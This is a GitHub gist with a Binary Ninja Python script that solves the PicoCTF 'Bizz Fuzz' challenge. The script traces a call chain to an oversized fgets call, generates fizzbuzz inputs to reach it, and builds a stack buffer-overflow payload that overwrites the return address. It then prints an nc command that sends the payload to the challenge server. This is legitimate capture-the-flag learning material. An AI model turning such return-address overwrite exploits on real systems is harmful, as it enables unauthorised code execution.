Skip to content

Instantly share code, notes, and snippets.

@shinmai
Created January 4, 2023 00:37
Show Gist options
  • Save shinmai/5d73e399ca68ea01a57efcdb3f5cf62d to your computer and use it in GitHub Desktop.
Save shinmai/5d73e399ca68ea01a57efcdb3f5cf62d to your computer and use it in GitHub Desktop.
PicoCTF Bizz Fuzz Binary Ninja solution script

PicoCTF - Bizz Fuzz: Binary Ninja solution script

I feel like all the Binary Ninja Python scripts I see are:

  1. written specifically for commercial license headless usage
  2. some super complicated automated pwn thing written by a PhD

So for the heck of it, here's (almost) how I solved PicoCTF's Bizz Fuzz task in Binary Ninja. This script is meant for use with the Personal license inside the GUI.
Load up the binary provided, let it finish analysing, and select the script below from File->Run Script...

The code isn't sophisticated or pretty, it was written trying to solve the task, not to be pretty and shared :P
The "only" change from the code I used to solve the task initially is that my initial code didn't have any kind of branching search for the call chain from main to the bof fgets call 😅
I somehow just got INCREDIBLY lucky and just iterating through the callers from the bof fgets call and always picking the first one, I lucked into the optimal chain 😂

Sharing that script seemed silly, so I whipped up a very quick & dirty depth limited search.

The code runs in about 30 seconds on my PC, so there's a lot of room for optimisation, but I'm honestly happy with it as-is.
I also think it shows off how easy it is to write quick scripts for automating Binja for tasks like this.

# naïve depth limited search for a call chain from reference s to function t
# and a function to iterate the depth
def dlsrch(s, t, d):
if s.function == t: return [s]
if d <= 0: return
for i in s.function.caller_sites:
path = dlsrch(i, t, d-1)
if(path):
path.append(s)
return path
def find_callchain(s, t, d):
for i in range(d):
path = dlsrch(s, t, i)
if (path):
return path
# fizzbuzz function
def fb(i):
if i % 3 == 0 and i % 5 == 0:
return "fizzbuzz"
if i % 3 == 0:
return "fizz"
if i % 5 == 0:
return "buzz"
return i
fgets = current_view.get_functions_by_name("fgets")[0]
fizzbuzz = current_view.get_function_at(0x80486b1)
# step 1: find the fgets call with the largest buffer size
maxbs=0
bofcall=None
for caller in current_view.get_callers(fgets.start):
if(caller.mlil.params[1].constant <= maxbs): continue
maxbs = caller.mlil.params[1].constant
bofcall=caller
print(f"New max fgets buffer size found ({maxbs} bytes) at {caller.address:x}")
main = current_view.get_functions_by_name("main")[0]
# step 2: find a call chain from main() to the bof fgets call
chain = find_callchain(bofcall, main, 10)
# step 3: generate user input to traverse the callchain
# when iterating call_sites, ignore calls to puts and to the few helper functions
ignore = [0x8048590, 0x8048480, 0x814c6ca, 0x80484b0]
i = 0
cf = chain[i].function
csi = 0
payload = []
while(True):
csi+=1
if(cf.call_sites[csi] == chain[-3]): break # we're at the 3rd to last step to the bof
if(cf.call_sites[csi].llil.dest.constant in ignore): continue
# we've found the call to the next link in the chain
if(cf.call_sites[csi].llil.dest.constant == chain[i+1].function.start):
i+=1
csi = 0
cf = chain[i].function
print(f"Payload generated until {cf.start:x}")
continue
# if the call is to the fizzbuzz function directly, we'll want to fail to enter the branch
if(cf.call_sites[csi].llil.dest.constant == fizzbuzz.start):
payload.append(-1)
continue
# otherwise we want to hit the topmost bizzfuzz call's iteration value to leave the call quickly
else:
num = current_view.get_function_at(cf.call_sites[csi].llil.dest.constant).mlil[2].params[0].constant
for fbi in range(num-1):
payload.append(fb(fbi+1))
# in the 2nd to last step we want to enter the fifth branch
for fbi in range(5-1):
payload.append(fb(fbi+1))
# and in the last step we'll just fail the fizzbuzz to get to the bof fgets call
payload.append(-1)
print("Done.\n")
# offset found by using `pwn cyclic 200` and looking up the SEGFAULT RIP
# buffer was 99 bytes but there's a bunch of other stuff before the return pointer
exploit = "".join([f"{str(p)}\n" for p in payload]).encode() + (b'A'*112) + b'\x56\x86\x04\x08\n'
print(f"nc mercury.picoctf.net 28132 < <(echo -en {str(exploit)[1:]})")
# spit out something to copy&paste to a terminal :D
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment